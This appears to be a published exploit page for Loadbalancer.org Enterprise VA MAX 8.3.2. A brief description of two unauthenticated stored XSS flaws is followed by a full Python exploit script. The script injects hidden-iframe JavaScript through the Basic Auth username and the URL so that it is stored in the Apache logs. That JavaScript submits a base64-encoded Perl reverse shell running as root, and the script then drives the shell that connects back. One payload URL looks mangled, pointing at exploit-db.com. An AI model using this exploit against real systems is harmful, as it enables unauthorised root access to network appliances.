Loadbalancer.org Enterprise VA MAX 8.3.2 – Remote Code Execution
# Exploit Title: Loadbalancer.org Enterprise VA MAX 8.3.2 - Remote Code Execution # Date: 2018-07-24 # Exploit Authors: Jakub Palaczynski # Vendor Homepage: https://www.loadbalancer.org/ # Version: <= 8.3.2 # CVE: N/A # Exploit Description: Loadbalancer.org Enterprise VA MAX - Remote Code Execution via Unauthenticated Stored XSS # Info: It is advised to use HTTPS port instead of HTTP for sending payloads as storing JavaScript in "Apache Error Log" does not work for HTTP. # Info: JavaScript can be easily changed to for example modify SSH configuration or add/modify web users # Basic Information: # Two instances of Stored XSS were found - exploit uses both: # 1. It is possible to inject custom JavaScript code during authentication to "/lbadmin/". # Application takes input from Basic Auth (username) and stores it without encoding/sanitization/filtering in "Apache Error Log". # This instance only forks for HTTPS. # 2. It is possible to inject custom JavaScript code by accessing URL like /?<XSS>. # Such JavaScript is stored in "Apache User Log". # This way attacker can store JavaScript code that can for example execute system command as root. This is actually what this exploit does - spawns reverse shell. # When application user browses "Apache Error Log" or "Apache User Log" custom JavaScript code gets automatically executed. #!/usr/bin/python import socket import sys import os import threading import subprocess import time import base64 # print help or assign arguments if len(sys.argv) != 3: sys.stderr.write("[-]Usage: python %s <our_ip:port> <proto://remote_ip:port>\n" % sys.argv[0]) sys.stderr.write("[-]Exemple: python %s 192.168.1.1:80 https://192.168.1.2:9443\n" % sys.argv[0]) sys.exit(1) lhost = sys.argv[1] # our ip address and port rhost = sys.argv[2] # ip address and port of vulnerable Loadbalancer raw = """perl -e 'use Socket;$i=\"""" + lhost.split(":")[0] + """\";$p=""" + lhost.split(":")[1] + """;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""" # raw reverse shell in perl payload_url = 'document.getElementById("lb").contentDocument.forms[0].elements["command"].value = "echo ' + base64.b64encode(raw.encode("ascii")) + ' | base64 -d | bash";document.getElementById("lb").contentDocument.forms[0].submit();' # base64 encoded reverse shell in perl payload_auth = "<iframe id='lb'/src='https://www.exploit-db.com/lbadmin/config/command.php'/style='width:0;height:0;border:0;border:none;'/onload=eval(atob('" + base64.b64encode(payload_url.encode("ascii")) + "'))></iframe>:pwd" # base64 encoded reverse shell in perl # for additional thread to send request in parallel class requests (threading.Thread): def run(self): time.sleep(5) # send requests to trigger vulnerability os.system('curl -s -k -m 10 -X "GET" -H "Authorization: Basic ' + base64.b64encode(payload_auth.encode("ascii")) + '" "' + rhost + '/lbadmin/" > /dev/null') # store payload in Apache Error logs os.system('curl -s -k -m 10 -X "GET" "' + rhost + '/?<iframe/id=\'lb\'/src=\'/lbadmin/config/command.php\'/onload=\'eval(atob(`' + base64.b64encode(payload_url.encode("ascii")) + '`))\'/style=\'width:0;height:0;border:0;border:none;\'></iframe>" > /dev/null') # store payload in Apache User logs # for additional thread to receive data from socket class receiving (threading.Thread): def __init__(self, conn): threading.Thread.__init__(self) self.conn = conn self._is_running = True def stop(self): self._is_running = False def run(self): while (self._is_running): cmd = conn.recv(1024) sys.stdout.write(cmd) sys.stdout.flush() if cmd == '': break threadr.stop() # function that creates socket def create_socket(port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', port)) sock.listen(10) conn, addr = sock.accept() return sock, conn, addr # start thread that sends request print 'Sending requests that triggers vulnerability.' thread = requests() thread.start() # create socket to receive shell print 'Now you need to wait for shell.' sock, conn, addr = create_socket(int(lhost.split(":")[1])) threadr = receiving(conn) threadr.start() while True: cmd = raw_input("") if cmd == 'exit': conn.send(cmd + "\n") break else: conn.send(cmd + "\n") sock.close() |